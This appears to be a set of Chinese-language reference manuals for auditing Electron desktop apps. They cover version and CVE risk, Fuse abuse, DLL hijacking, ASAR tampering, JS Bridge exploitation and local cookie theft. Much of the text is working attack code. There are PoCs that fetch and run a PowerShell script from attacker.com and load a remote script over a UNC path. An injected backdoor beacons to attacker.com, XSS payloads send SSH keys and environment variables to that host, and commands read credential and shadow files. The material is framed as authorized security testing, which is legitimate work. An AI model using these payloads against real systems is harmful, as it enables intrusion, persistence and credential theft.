| 100-109 | 2022.04-2023.01 | 很多 | 严重风险 |
| 90-99 | 2021.04-2022.03 | 大量 | 极其危险 |
| <90 | 2021.03 之前 | 大量 | 极其危险 |

**⚠️ 注意: 版本风险不等于漏洞。报告中应将版本信息放在"供应链风险"章节，给出升级建议。不要将版本落后本身作为严重/高危漏洞上报，除非你能证明某个具体 CVE 在此应用上下文中有直接可利用路径。**

---

## 六、Node.js 高危 CVE

| CVE | 影响版本 | 类型 | 描述 |
|:----|:---------|:-----|:-----|
| CVE-2024-22019 | Node.js < 21.6.1 | DoS | HTTP 请求走私 |
| CVE-2024-21896 | Node.js < 21.6.1 | 路径穿越 | path.resolve() 路径穿越 |
| CVE-2023-44487 | Node.js < 20.8.1 | DoS | HTTP/2 Rapid Reset |
| CVE-2023-32002 | Node.js < 20.5.1 | 权限绕过 | 模块加载策略绕过 |
| CVE-2023-30590 | Node.js < 20.3.1 | 证书验证 | generateKeys 绕过 |

---

## 七、版本审计流程

```
1. 获取版本信息:
   Electron 版本 → Chromium 版本 → Node.js 版本

2. 判断支持状态:
   是否在最新 3 个大版本内？
   是否有未修复的安全补丁？

3. 查询已知 CVE:
   Electron: https://www.electronjs.org/blog/tags/security
   Chromium: https://chromereleases.googleblog.com/
   Node.js: https://nodejs.org/en/blog/vulnerability
   
4. 评估风险:
   [严重] 已过期 + 有已知 RCE CVE
   [高危] 已过期 + 有已知沙箱逃逸
   [中危] 在支持范围但未及时更新
   [低危] 最新版本

5. 检查特殊条件:
   如果 sandbox: false → Chromium RCE 直接获得 Node.js 权限
   如果 nodeIntegration: true → 任何 XSS 都是 RCE
```

---

## 八、产出模板

```markdown
## 版本安全分析

### 版本信息

| 组件 | 当前版本 | 最新版本 | 差距 | 风险 |
|:-----|:---------|:---------|:-----|:-----|
| Electron | XX.X.X | YY.Y.Y | Z 个大版本 | 高/中/低 |
| Chromium | XXX | YYY | | |
| Node.js | XX.X.X | YY.Y.Y | | |
| V8 | XX.X | YY.Y | | |

### 支持状态

| 检查项 | 状态 |
|:-------|:-----|
| 是否在支持范围（最新3个大版本） | 是/否 |
| 安全默认值（nodeIntegration 等） | 安全/不安全 |

### 已知 CVE

| CVE | 组件 | 类型 | 影响 | 可利用性 |
|:----|:-----|:-----|:-----|:---------|
| CVE-XXXX-XXXXX | Electron/Chromium | RCE | 严重 | 已验证/理论可行 |

### 修复建议

1. 升级 Electron 到 XX.X.X 或更高版本
2. [具体建议]
```


path: references/FUSE_BINARY_EXPLOIT.md
content: # Fuse 滥用与客户端二进制攻击手册

## 概述

Electron Fuses 是编译到二进制文件中的开关，控制 Electron 的安全行为。错误的 Fuse 配置可以让攻击者通过环境变量或命令行参数直接获得 RCE，**无需任何 XSS**。

---

## 一、Fuse 读取

### 1.1 读取命令

```bash
npx @electron/fuses read path/to/electron.exe
```

### 1.2 输出解读

```
Fuse Name                                    | Value
---------------------------------------------|-------
RunAsNode                                    | Enable   ← 严重！
EnableCookieEncryption                       | Disable  ← 中危
EnableNodeOptionsEnvironmentVariable         | Enable   ← 高危！
EnableNodeCliInspectArguments                | Enable   ← 高危！
EnableEmbeddedAsarIntegrityValidation        | Disable  ← 中危
OnlyLoadAppFromAsar                          | Disable  ← 中危
LoadBrowserProcessSpecificV8Snapshot         | Disable
GrantFileProtocolExtraPrivileges             | Enable   ← 中危
```

---

## 二、Fuse 滥用 — 逐项利用

### 2.1 RunAsNode（严重）

**效果**: 允许通过 `ELECTRON_RUN_AS_NODE=1` 环境变量将 Electron 应用当作普通 Node.js 运行。

**验证 PoC (Windows)**:

```cmd
:: PoC 1: 执行系统命令
set ELECTRON_RUN_AS_NODE=1
"C:\path\to\app.exe" -e "require('child_process').execSync('calc')"

:: PoC 2: 读取敏感文件
set ELECTRON_RUN_AS_NODE=1
"C:\path\to\app.exe" -e "console.log(require('fs').readFileSync('C:\\Users\\%USERNAME%\\.ssh\\id_rsa','utf8'))"

:: PoC 3: 启动反弹 Shell
set ELECTRON_RUN_AS_NODE=1
"C:\path\to\app.exe" -e "require('child_process').exec('powershell -nop -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString(\\\"http://attacker.com/shell.ps1\\\")\"')"

:: PoC 4: 窃取所有环境变量
set ELECTRON_RUN_AS_NODE=1
"C:\path\to\app.exe" -e "console.log(JSON.stringify(process.env, null, 2))"
```

**验证 PoC (Linux/macOS)**:

```bash
# PoC 1: 执行系统命令
ELECTRON_RUN_AS_NODE=1 /path/to/app -e "require('child_process').execSync('id', {stdio:'inherit'})"

# PoC 2: 读取敏感文件
ELECTRON_RUN_AS_NODE=1 /path/to/app -e "console.log(require('fs').readFileSync('/etc/shadow','utf8'))"
```

**攻击场景**:
- 本地权限提升：低权限用户利用高权限 Electron 应用
- 持久化：创建计划任务/启动项，以应用身份运行恶意代码
- 绕过应用白名单：利用已信任的签名应用执行任意代码

### 2.2 EnableNodeCliInspectArguments（高危）

**效果**: 允许使用 `--inspect` 参数附加 Node.js 调试器。

**验证 PoC**:

```bash
# 步骤 1: 启动应用并开启调试端口
"C:\path\to\app.exe" --inspect=9229

# 步骤 2: 在 Chrome 中连接
# 打开 chrome://inspect
# 点击 "Configure..." → 添加 localhost:9229
# 等待目标出现 → 点击 "inspect"

# 步骤 3: 在调试器 Console 中执行
require('child_process').exec('calc')
```

**变体**:
```bash
# --inspect-brk: 在第一行暂停（适合分析启动逻辑）
app.exe --inspect-brk=9229

# 指定不同端口（避免端口冲突）
app.exe --inspect=12345
```

**攻击场景**:
- 远程调试器附加（如果 9229 端口暴露在网络上）
- 注入代码到正在运行的应用

### 2.3 EnableNodeOptionsEnvironmentVariable（高危）

**效果**: 允许 `NODE_OPTIONS` 环境变量，可用于加载恶意模块。

**验证 PoC (Windows)**:

```cmd
:: PoC 1: 通过 --require 加载恶意脚本
echo require('child_process').exec('calc') > C:\temp\evil.js
set NODE_OPTIONS=--require=C:\temp\evil.js
"C:\path\to\app.exe"

:: PoC 2: 通过 UNC 路径加载远程脚本
set NODE_OPTIONS=--require=\\attacker.com\share\evil.js
"C:\path\to\app.exe"

:: PoC 3: 开启调试端口
set NODE_OPTIONS=--inspect=9229
"C:\path\to\app.exe"
```

**验证 PoC (Linux/macOS)**:

```bash
# PoC 1: 加载恶意模块
echo "require('child_process').exec('id > /tmp/pwned')" > /tmp/evil.js
NODE_OPTIONS="--require=/tmp/evil.js" /path/to/app
```

### 2.4 EnableCookieEncryption（中危）

**效果**: 控制 Chromium Cookie 是否加密存储。

```
如果 Disable:
  Cookie 明文存储在磁盘
  位置: %APPDATA%/应用名/Cookies (SQLite 文件)
  
  提取:
    sqlite3 "%APPDATA%\应用名\Cookies" "SELECT host_key, name, value, encrypted_value FROM cookies"
    
  如果 Cookie 未加密，value 字段直接可读
  如果 Cookie 加密（Enable），encrypted_value 需要 DPAPI 解密
```

### 2.5 OnlyLoadAppFromAsar（中危）

**效果**: 控制是否只从 asar 文件加载应用代码。

```
如果 Disable:
  应用会按以下顺序尝试加载:
    1. resources/app/ 目录
    2. resources/app.asar 文件
    
  攻击方式:
    1. 创建 resources/app/ 目录
    2. 复制原始代码到 app/ 并注入后门
    3. 应用优先加载 app/ 目录中的代码
    
  这比修改 asar 更方便:
    - 不需要 asar 工具
    - 不触发 ASAR 完整性校验
    - 可以直接编辑单个文件
```

### 2.6 GrantFileProtocolExtraPrivileges（中危）

**效果**: 控制 file:// 协议是否获得额外权限。

```
如果 Enable:
  file:// 协议可以访问其他 file:// 资源
  可以通过 fetch('file:///etc/passwd') 读取本地文件
  
  如果应用 loadURL 可以加载 file:// → 可利用
```

---

## 三、Fuse 翻转

### 3.1 翻转命令

```bash
# 翻转单个 Fuse
npx @electron/fuses flip path/to/app.exe FuseName=on/off

# 常用翻转:
# 关闭 ASAR 完整性校验（方便修改 asar）
npx @electron/fuses flip app.exe EnableEmbeddedAsarIntegrityValidation=off

# 开启 RunAsNode（用于验证 PoC）
npx @electron/fuses flip app.exe RunAsNode=on

# 开启调试参数支持
npx @electron/fuses flip app.exe EnableNodeCliInspectArguments=on
```

### 3.2 注意事项

```
⚠️ Fuse 翻转会修改 exe 文件的二进制内容
⚠️ 如果 exe 有代码签名，翻转后签名会失效
⚠️ 某些安全软件可能阻止修改 exe 文件
⚠️ 翻转前务必备份原始 exe
```

---

## 四、DLL 劫持

### 4.1 原理

```
Electron 应用（以及所有 Windows 应用）在启动时会按以下顺序搜索 DLL:
  1. 应用所在目录 ← 最容易被劫持
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. 当前工作目录
  6. PATH 环境变量中的目录

如果应用尝试加载一个不存在的 DLL，攻击者可以在搜索路径中放置同名恶意 DLL。
```

### 4.2 检测方法

#### 使用 Process Monitor

```
1. 启动 Process Monitor (procmon.exe)
2. 设置过滤器:
   - Process Name → is → app.exe
   - Result → is → NAME NOT FOUND
   - Path → ends with → .dll
3. 启动目标应用
4. 查看所有 "NAME NOT FOUND" 的 DLL 加载尝试
5. 这些 DLL 都可以被劫持
```

#### 使用命令行

```bash
# 列出应用目录下所有 DLL
dir /s /b "C:\path\to\app\*.dll"

# 检查 DLL 签名状态（PowerShell）
Get-ChildItem "C:\path\to\app\*.dll" -Recurse | ForEach-Object {
  $sig = Get-AuthenticodeSignature $_.FullName
  [PSCustomObject]@{
    File = $_.Name
    Status = $sig.Status
    Signer = $sig.SignerCertificate.Subject
  }
} | Format-Table -AutoSize

# 未签名的 DLL 更容易被替换
```

### 4.3 利用（验证）

```
1. 找到一个 NAME NOT FOUND 的 DLL（如 version.dll）
2. 创建恶意 DLL:
   - 使用 msfvenom 或自定义代码
   - DLL 需要导出原始 DLL 的函数（DLL 代理）
3. 将恶意 DLL 放在应用目录下
4. 启动应用 → DLL 被加载 → 恶意代码执行

常见可劫持的 DLL:
  version.dll
  winmm.dll
  wsock32.dll
  netapi32.dll
  dbghelp.dll
  userenv.dll
  profapi.dll
```

### 4.4 Electron 特有的 DLL 劫持

```
Electron 应用还会加载 .node 文件（Node.js native addon）:
  - app.asar.unpacked/ 下的 .node 文件
  - node_modules/ 中的 .node 文件

如果 .node 文件可写:
  1. 替换为恶意 .node 文件
  2. 应用启动时自动加载
  3. 在 Node.js 上下文中执行 → 完整的 Node.js 权限

检查:
  - .node 文件是否在可写目录中
  - .node 文件是否有数字签名
  - 应用是否以管理员权限运行（提升劫持影响）
```

---

## 五、ASAR 篡改持久化

### 5.1 条件

```
需要满足:
  [x] OnlyLoadAppFromAsar Fuse 为 off（或直接修改 asar）
  [x] EnableEmbeddedAsarIntegrityValidation Fuse 为 off
  [x] 对应用目录有写权限
```

### 5.2 篡改方法

```bash
# 步骤 1: 解包
npx @electron/asar extract resources/app.asar resources/app_extracted/

# 步骤 2: 注入后门
# 在 main.js 顶部添加:
cat > inject.js << 'EOF'
// 后门: 每次启动时执行
const { exec } = require('child_process');
exec('curl https://attacker.com/beacon?host=' + require('os').hostname());
EOF

# 将 inject.js 内容添加到 main.js 顶部
# 或添加到 preload.js 中

# 步骤 3: 重新打包
npx @electron/asar pack resources/app_extracted/ resources/app.asar

# 步骤 4: 验证
# 启动应用，检查后门是否执行
```

### 5.3 目录替换（OnlyLoadAppFromAsar=off 时更简单）

```bash
# 不需要修改 asar，直接创建 app/ 目录:
mkdir resources/app
npx @electron/asar extract resources/app.asar resources/app/

# 修改 resources/app/main.js（注入后门）
# 应用会优先加载 app/ 目录
```

---

## 六、其他二进制攻击

### 6.1 Chromium 调试端口滥用

```
某些应用在开发模式下开启了 remote-debugging-port 但忘记在生产环境关闭:

检查:
  1. 端口扫描: nmap -p 9222,9229,5858 localhost
  2. 检查进程命令行: 
     wmic process where "name='app.exe'" get CommandLine
     → 是否有 --remote-debugging-port 参数

如果发现开放的调试端口:
  1. 浏览器访问 http://localhost:9222
  2. 获取调试目标列表
  3. 连接并执行任意代码
```

### 6.2 Electron 应用降级攻击

```
如果应用的自动更新机制不安全:
  1. 替换应用的 Electron 运行时为旧版本
  2. 旧版本有已知漏洞（CVE）
  3. 利用已知漏洞进行攻击

检查:
  - Electron 版本: resources/electron.asar 中的版本信息
  - 或 exe 文件属性中的版本号
```

---

## 七、产出模板

```markdown
## Fuse & 二进制攻击分析

### Fuse 状态

| Fuse | 值 | 风险等级 | 可利用性 |
|:-----|:---|:---------|:---------|
| RunAsNode | on/off | 严重/安全 | 已验证/不可利用 |
| EnableNodeCliInspectArguments | on/off | 高危/安全 | |
| EnableNodeOptionsEnvironmentVariable | on/off | 高危/安全 | |
| EnableCookieEncryption | on/off | 中危/安全 | |
| OnlyLoadAppFromAsar | on/off | 中危/安全 | |
| EnableEmbeddedAsarIntegrityValidation | on/off | 中危/安全 | |
| GrantFileProtocolExtraPrivileges | on/off | 中危/安全 | |

### DLL 劫持检测

| 缺失 DLL | 搜索路径 | 可劫持 | 应用目录可写 |
|:---------|:---------|:-------|:------------|
| xxx.dll | 应用目录 | 是 | 是/否 |

### 漏洞详情

[按标准格式，含完整 PoC]
```


path: references/JS_BRIDGE_EXPLOIT.md
content: # JS Bridge 利用手册

## 概述

Electron 应用中，主进程（Node.js）和渲染进程（Chromium）之间通过 JS Bridge 通信。Bridge 的安全性直接决定了 XSS 能否升级为 RCE。

---

## 一、安全模型速查

| 配置组合 | XSS 危害 | 利用难度 | 备注 |
|:---------|:---------|:---------|:-----|
| `nodeIntegration:true` + `contextIsolation:false` | **直接 RCE** | 极低 | 最危险，渲染进程直接访问 Node.js |
| `nodeIntegration:false` + `contextIsolation:false` | **RCE（原型链污染）** | 中 | preload 和网页共享上下文 |
| `nodeIntegration:false` + `contextIsolation:true` | **取决于 Bridge 暴露面** | 中-高 | 现代默认配置，安全取决于 contextBridge |
| `nodeIntegration:false` + `contextIsolation:true` + `sandbox:true` | **最安全** | 高 | 即使有 XSS 也难以 RCE |

---

## 二、运行时探测（DevTools Console）

### 2.1 全局对象枚举

```javascript
// 枚举 window 上所有非标准属性（潜在的 Bridge）
const builtins = new Set([
  'location','navigator','screen','document','frames','self','top',
  'parent','opener','closed','length','name','window','alert','confirm',
  'prompt','fetch','XMLHttpRequest','WebSocket','localStorage',
  'sessionStorage','indexedDB','crypto','performance','history',
  'customElements','caches','cookieStore','crossOriginIsolated',
  'isSecureContext','origin','scheduler','trustedTypes'
]);

const custom = Object.getOwnPropertyNames(window)
  .filter(k => !builtins.has(k) && !k.startsWith('webkit') && !k.startsWith('on'))
  .filter(k => { try { return window[k] !== undefined && window[k] !== null } catch(e) { return false }});

console.table(custom.map(k => ({
  name: k,
  type: typeof window[k],
  isObject: typeof window[k] === 'object',
  keys: typeof window[k] === 'object' ? Object.keys(window[k]).join(', ') : '-'
})));
```

### 2.2 常见 Bridge 名称探测

```javascript
// 常见的 contextBridge 暴露名
const knownNames = [
  'electronAPI', 'electron', 'api', 'bridge', 'ipc', 'native',
  'myAPI', 'appAPI', 'shell', 'node', 'desktop', 'mainProcess',
  'channel', 'invoke', 'send', 'preload', 'backend', '__electron',
  '_electron', '$electron', 'electronBridge', 'ipcBridge',
  'nativeAPI', 'app', 'system', 'os', 'platform'
];

knownNames.forEach(name => {
  if (window[name] !== undefined) {
    console.log(`[FOUND] window.${name}:`, typeof window[name]);
    if (typeof window[name] === 'object') {
      console.log('  Methods:', Object.keys(window[name]));
    }
  }
});
```

### 2.3 Node.js 可用性测试

```javascript
// 测试 1: 直接 require（nodeIntegration: true）
try {
  const cp = require('child_process');
  console.log('[CRITICAL] require("child_process") 可用 → 直接 RCE');
  // PoC: cp.execSync('whoami').toString()
} catch(e) {
  console.log('[OK] require 不可用');
}

// 测试 2: process 对象
try {
  console.log('[HIGH] process 对象可用:', process.versions);
} catch(e) {
  console.log('[OK] process 不可用');
}

// 测试 3: global/globalThis 上的 Node.js 对象
['Buffer', '__dirname', '__filename', 'module', 'exports'].forEach(name => {
  try {
    if (eval(name) !== undefined) console.log(`[HIGH] ${name} 可用`);
  } catch(e) {}
});

// 测试 4: ipcRenderer 直接可用
try {
  const { ipcRenderer } = require('electron');
  console.log('[CRITICAL] ipcRenderer 可用 → 可调用任意 IPC 通道');
} catch(e) {}
```

### 2.4 IPC 通道枚举

```javascript
// 如果找到了 Bridge 对象，深度枚举其方法
function enumBridge(obj, prefix = '') {
  Object.keys(obj).forEach(key => {
    const val = obj[key];
    const fullKey = prefix ? `${prefix}.${key}` : key;
    if (typeof val === 'function') {
      console.log(`[METHOD] ${fullKey}()`);
      // 尝试获取参数信息
      console.log(`  Signature: ${val.toString().split('\n')[0]}`);
    } else if (typeof val === 'object' && val !== null) {
      console.log(`[OBJECT] ${fullKey}`);
      enumBridge(val, fullKey);
    } else {
      console.log(`[PROP] ${fullKey} = ${val}`);
    }
  });
}

// 使用示例:
// enumBridge(window.electronAPI);
```

---

## 三、contextBridge 暴露面利用

### 3.1 危险暴露分类

| 风险等级 | 暴露类型 | 示例代码 | 利用方式 |
|:---------|:---------|:---------|:---------|
| **严重** | 暴露 require | `window.api.require = require` | `api.require('child_process').exec('calc')` |
| **严重** | 暴露通用 IPC | `window.api.send(channel, data)` | `api.send('exec', {cmd:'calc'})` |
| **严重** | 暴露 exec/spawn | `window.api.execute(cmd)` | `api.execute('calc')` |
| **高危** | 暴露 fs 操作 | `window.api.readFile(path)` | `api.readFile('C:\\Users\\...\\.ssh\\id_rsa')` |
| **高危** | 暴露 shell.openExternal | `window.api.openURL(url)` | `api.openURL('file:///C:/Windows/System32/cmd.exe')` |
| **高危** | 暴露 eval/executeJS | `window.api.eval(code)` | `api.eval("require('child_process').exec('calc')")` |
| **中危** | 暴露特定 IPC 无参数校验 | `window.api.getFile(path)` | 路径穿越 `api.getFile('../../../etc/passwd')` |

### 3.2 通用 IPC 暴露利用

**最常见的高危模式 — channel 参数用户可控:**

```javascript
// 危险的 preload 代码:
contextBridge.exposeInMainWorld('api', {
  send: (channel, data) => ipcRenderer.send(channel, data),
  invoke: (channel, data) => ipcRenderer.invoke(channel, data),
  on: (channel, callback) => ipcRenderer.on(channel, (_, ...args) => callback(...args))
});

// 利用: 枚举所有可用的 IPC channel
// 在主进程代码中搜索 ipcMain.handle / ipcMain.on 获取通道名

// 常见危险通道名:
const dangerousChannels = [
  'execute', 'exec', 'run-command', 'shell-exec', 'run',
  'read-file', 'write-file', 'fs-read', 'fs-write', 'file-read',
  'open-url', 'open-external', 'open-path',
  'eval', 'execute-js', 'run-script',
  'download', 'upload', 'save-file',
  'get-env', 'set-env', 'system-info',
  'db-query', 'sql-exec', 'query'
];

// 逐个测试:
dangerousChannels.forEach(async ch => {
  try {
    const result = await window.api.invoke(ch, { test: true });
    console.log(`[FOUND] Channel "${ch}" responded:`, result);
  } catch(e) {
    if (!e.message.includes('No handler registered')) {
      console.log(`[MAYBE] Channel "${ch}" exists but errored:`, e.message);
    }
  }
});
```

### 3.3 文件操作类 Bridge 利用

```javascript
// 如果 Bridge 暴露了文件读取功能:

// PoC 1: 读取系统敏感文件
// Windows
await window.api.readFile('C:\\Users\\' + username + '\\.ssh\\id_rsa');
await window.api.readFile('C:\\Users\\' + username + '\\AppData\\Roaming\\Microsoft\\Credentials\\');

// Linux/Mac
await window.api.readFile('/etc/passwd');
await window.api.readFile('/etc/shadow');
await window.api.readFile(process.env.HOME + '/.ssh/id_rsa');

// PoC 2: 路径穿越
await window.api.readFile('../../../etc/passwd');
await window.api.readFile('..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts');

// PoC 3: 如果有写入功能 → 写入 webshell / 持久化后门
await window.api.writeFile('C:\\Users\\Public\\malicious.bat', '@echo off\ncalc.exe');
```

### 3.4 命令执行类 Bridge 利用

```javascript
// 如果 Bridge 暴露了命令执行:

// 直接执行
window.api.execute('calc');
window.api.execute('whoami');

// 命令注入（如果参数被拼接到命令中）
window.api.someFunction('; calc');
window.api.someFunction('| calc');
window.api.someFunction('`calc`');
window.api.someFunction('$(calc)');

// 如果参数是文件路径但被传给 exec:
window.api.openFile('test.txt & calc');
window.api.openFile('test.txt; calc');
```

---

## 四、contextIsolation: false — 原型链污染逃逸

### 4.1 原理

当 `contextIsolation: false` 时，preload 脚本和网页共享同一个 JavaScript 上下文。这意味着网页中的 XSS 可以通过原型链污染影响 preload 脚本中使用 `require` 的代码。

### 4.2 利用条件

```
条件检查:
  [x] contextIsolation: false
  [x] preload 脚本中使用了 require()
  [x] preload 中有可被原型链污染影响的代码路径
```

### 4.3 经典利用链

```javascript
// 目标: 通过原型链污染获取 require，进而获取 child_process

// 方法 1: 污染 Function.prototype（影响 require 内部调用）
// 具体 payload 取决于 preload 代码的结构

// 方法 2: 如果 preload 使用了 Object 的方法（如 Object.assign）
// 污染 Object.prototype 上的属性

// 示例: preload 中如果有类似代码:
//   const options = Object.assign({}, defaults, userOptions);
//   const mod = require(options.module);
// 攻击者可以:
Object.prototype.module = 'child_process';

// 方法 3: 利用 preload 中的事件处理
// 如果 preload 中有:
//   ipcRenderer.on('some-event', (_, data) => {
//     if (data.action === 'open') { ... }
//   });
// 污染 prototype:
Object.prototype.action = 'dangerous-action';

// 方法 4: 通过 Electron 内部模块
// Electron < 12 的某些版本中:
// 可直接访问 require 因为 contextIsolation 默认 false
```

### 4.4 实际 PoC（需根据目标 preload 代码调整）

```javascript
// 通用探测: 检查 contextIsolation 状态
// 如果以下代码不报错，说明 contextIsolation: false
try {
  // 尝试访问 preload 注入的对象
  if (typeof __dirname !== 'undefined') {
    console.log('[CRITICAL] contextIsolation is OFF, __dirname:', __dirname);
  }
  if (typeof require !== 'undefined') {
    console.log('[CRITICAL] require is accessible');
    require('child_process').exec('calc');
  }
  if (typeof process !== 'undefined') {
    console.log('[CRITICAL] process is accessible:', process.versions.electron);
  }
} catch(e) {
  console.log('contextIsolation appears to be ON');
}
```

---

## 五、nodeIntegration: true — 直接 RCE

### 5.1 验证

```javascript
// 在 DevTools Console 中:
require('child_process').execSync('whoami').toString()
// 如果返回用户名 → nodeIntegration: true，直接 RCE

// 更完整的验证:
const { execSync } = require('child_process');
console.log('User:', execSync('whoami').toString().trim());
console.log('Hostname:', execSync('hostname').toString().trim());
console.log('OS:', require('os').platform(), require('os').release());
```

### 5.2 XSS → RCE PoC

```javascript
// 如果找到了 XSS 点（innerHTML、v-html 等）:

// PoC 1: 弹计算器
<img src=x onerror="require('child_process').exec('calc')">

// PoC 2: 反弹 Shell（仅用于授权测试）
<img src=x onerror="require('child_process').exec('powershell -e <base64_payload>')">

// PoC 3: 读取敏感文件
<img src=x onerror="fetch('https://attacker.com/log?data='+btoa(require('fs').readFileSync('C:\\Users\\'+require('os').userInfo().username+'\\.ssh\\id_rsa','utf8')))">

// PoC 4: 窃取环境变量
<img src=x onerror="fetch('https://attacker.com/log?env='+btoa(JSON.stringify(process.env)))">
```

---

## 六、IPC Handler 深度审计

### 6.1 主进程 Handler 搜索

```
在解包后的源码中搜索:
  ipcMain.handle('xxx', ...)
  ipcMain.on('xxx', ...)

对每个 handler 检查:
  1. 参数是否直接传给危险函数？
     exec() / spawn() / execFile() / fork()
     fs.readFile() / fs.writeFile() / fs.unlink()
     require() / eval() / Function()
     shell.openExternal()
     win.loadURL() / win.webContents.executeJavaScript()

  2. 参数是否经过校验？
     白名单？正则？类型检查？

  3. 是否验证了消息来源？
     event.senderFrame.url 是否检查？
```

### 6.2 危险 Handler 模式

```javascript
// 模式 1: 命令注入
ipcMain.handle('run-tool', (event, { command }) => {
  return execSync(command).toString();  // 直接执行用户输入
});
// PoC: window.api.invoke('run-tool', { command: 'calc' })

// 模式 2: 路径穿越
ipcMain.handle('read-config', (event, { filename }) => {
  return fs.readFileSync(path.join(configDir, filename), 'utf8');
});
// PoC: window.api.invoke('read-config', { filename: '../../../etc/passwd' })

// 模式 3: 任意模块加载
ipcMain.handle('load-plugin', (event, { name }) => {
  const plugin = require(name);  // 任意 require
  return plugin.init();
});
// PoC: window.api.invoke('load-plugin', { name: 'child_process' })

// 模式 4: SQL 注入
ipcMain.handle('search', (event, { query }) => {
  return db.all(`SELECT * FROM users WHERE name LIKE '%${query}%'`);
});
// PoC: window.api.invoke('search', { query: "' OR 1=1--" })

// 模式 5: 无 sender 验证的敏感操作
ipcMain.handle('delete-user', (event, { userId }) => {
  // 未检查 event.senderFrame.url
  // 任何来源的页面都可以调用
  return db.run('DELETE FROM users WHERE id = ?', userId);
});
```

### 6.3 动态 IPC 注册（框架特有）

```javascript
// 某些框架（如 ee-core、electron-egg）自动注册所有 controller 方法:
Object.keys(controller).forEach(method => {
  ipcMain.handle(`controller:${method}`, (event, ...args) => {
    return controller[method](...args);
  });
});

// 风险: 所有方法暴露，包括内部方法
// 审计: 检查 controller 的每个方法是否有输入校验
// 枚举: 搜索所有 controller 文件，列出所有暴露的方法
```

---

## 七、Webpack 运行时利用

### 7.1 Webpack 模块访问

```javascript
// 检查 webpack 运行时是否可访问
if (typeof __webpack_modules__ !== 'undefined') {
  console.log('[INFO] Webpack 模块数量:', Object.keys(__webpack_modules__).length);

  // 搜索包含敏感关键词的模块
  Object.keys(__webpack_modules__).forEach(id => {
    const src = __webpack_modules__[id].toString();
    if (src.includes('ipcRenderer') || src.includes('require(')) {
      console.log(`[HIGH] Module ${id} contains sensitive imports`);
    }
  });
}

// 通过 webpackChunkxxx 访问
const chunkName = Object.keys(window).find(k => k.startsWith('webpackChunk'));
if (chunkName) {
  console.log('[INFO] Webpack chunk found:', chunkName);
}
```

### 7.2 通过 Webpack 获取内部模块

```javascript
// 如果可以访问 __webpack_require__:
// 搜索 electron 相关模块
const allModules = __webpack_require__.m || __webpack_modules__;
Object.keys(allModules).forEach(id => {
  try {
    const mod = __webpack_require__(id);
    if (mod && mod.ipcRenderer) {
      console.log('[CRITICAL] Found ipcRenderer in module', id);
    }
  } catch(e) {}
});
```

---

## 八、产出模板

```markdown
## JS Bridge 利用分析

### 暴露面枚举

| Bridge 名称 | 类型 | 方法列表 | 风险等级 |
|:------------|:-----|:---------|:---------|
| window.xxx | contextBridge | method1, method2, ... | 高/中/低 |

### 漏洞详情

=== [H-ELECTRON-XXX] Bridge 方法 xxx 命令注入 ===
代码位置: preload.js:XX / main.js:XX
暴露方法: window.api.xxx(param)
漏洞类型: 命令注入 / 路径穿越 / 代码执行

数据流:
  window.api.xxx(userInput)
  → ipcRenderer.invoke('channel', userInput)
  → ipcMain.handle('channel', exec(userInput))  ← Sink

验证 PoC:
  window.api.xxx('test; calc')

预期结果: 计算器弹出
实际结果: [填写]
```


path: references/LOCAL_DATA_ANALYSIS.md
content: # 本地数据窃取手册

## 概述

Electron 应用在本地存储大量数据（Cookie、Token、聊天记录、缓存等）。即使应用本身没有 RCE 漏洞，本地数据泄露也可能造成严重安全影响。

---

## 一、数据存储位置

### 1.1 定位应用数据目录

```
确定应用名称:
  1. package.json 的 "name" 字段
  2. package.json 的 "productName" 字段
  3. 或 app.getName() 的返回值

Windows:
  主目录: %APPDATA%\{应用名}\
  缓存:   %LOCALAPPDATA%\{应用名}\
  临时:   %TEMP%\{应用名}\

macOS:
  主目录: ~/Library/Application Support/{应用名}/
  缓存:   ~/Library/Caches/{应用名}/

Linux:
  主目录: ~/.config/{应用名}/
  缓存:   ~/.cache/{应用名}/
```

### 1.2 典型目录结构

```
%APPDATA%\应用名\
├── Cookies                    ← SQLite，Session/认证 Cookie
├── Cookies-journal
├── Local Storage/
│   └── leveldb/              ← LevelDB，localStorage 数据
│       ├── 000003.log
│       ├── CURRENT
│       ├── LOCK
│       └── MANIFEST-000001
├── IndexedDB/                ← IndexedDB 数据
│   └── https_xxx_0.indexeddb.leveldb/
├── Session Storage/
│   └── leveldb/              ← sessionStorage 数据
├── Cache/                    ← HTTP 缓存
├── Code Cache/               ← V8 代码缓存
├── GPUCache/                 ← GPU 缓存
├── blob_storage/             ← Blob 存储
├── databases/                ← Web SQL 数据库
├── Web Data                  ← 自动填充数据（SQLite）
├── Preferences               ← 应用设置（JSON）
├── Local State               ← Chromium 状态（JSON）
├── Network/
│   └── Cookies               ← 网络分区 Cookie
└── logs/                     ← 应用日志
```

---

## 二、Cookie 提取与分析

### 2.1 Cookie 文件位置

```
主 Cookie: %APPDATA%\应用名\Cookies
网络分区: %APPDATA%\应用名\Network\Cookies

格式: SQLite 3 数据库
```

### 2.2 提取方法

```bash
# 方法 1: sqlite3 命令行
sqlite3 "%APPDATA%\应用名\Cookies" "SELECT host_key, name, value, path, expires_utc, is_secure, is_httponly, encrypted_value FROM cookies"

# 方法 2: 格式化输出
sqlite3 -header -csv "%APPDATA%\应用名\Cookies" "SELECT * FROM cookies"

# 方法 3: 只看有值的 Cookie
sqlite3 "%APPDATA%\应用名\Cookies" "SELECT host_key, name, CASE WHEN length(value) > 0 THEN value ELSE '[ENCRYPTED]' END as value FROM cookies"

# 方法 4: Python 脚本
python3 -c "
import sqlite3
conn = sqlite3.connect(r'Cookies文件路径')
for row in conn.execute('SELECT host_key, name, value, encrypted_value FROM cookies'):
    host, name, value, enc = row
    status = 'PLAINTEXT' if value else 'ENCRYPTED'
    print(f'{host} | {name} | {status} | {value or enc[:20]}...')
"
```

### 2.3 Cookie 加密分析

```
Electron Fuse: EnableCookieEncryption

如果 Fuse = Disable:
  → Cookie value 字段直接可读（明文）
  → [高危] 直接窃取 Session Token

如果 Fuse = Enable:
  → Cookie 存储在 encrypted_value 字段
  → Windows: 使用 DPAPI 加密（需要当前用户权限解密）
  → macOS: 使用 Keychain 加密
  → Linux: 使用 GNOME Keyring 或明文

Windows DPAPI 解密:
  需要在同一用户会话中运行
  可用 CryptUnprotectData API 解密

  Python 脚本:
    import win32crypt
    decrypted = win32crypt.CryptUnprotectData(encrypted_value)[1]
```

### 2.4 关键 Cookie 检查

```
[严重] Session Token:
  名称: JSESSIONID, session_id, sid, token, auth_token, access_token
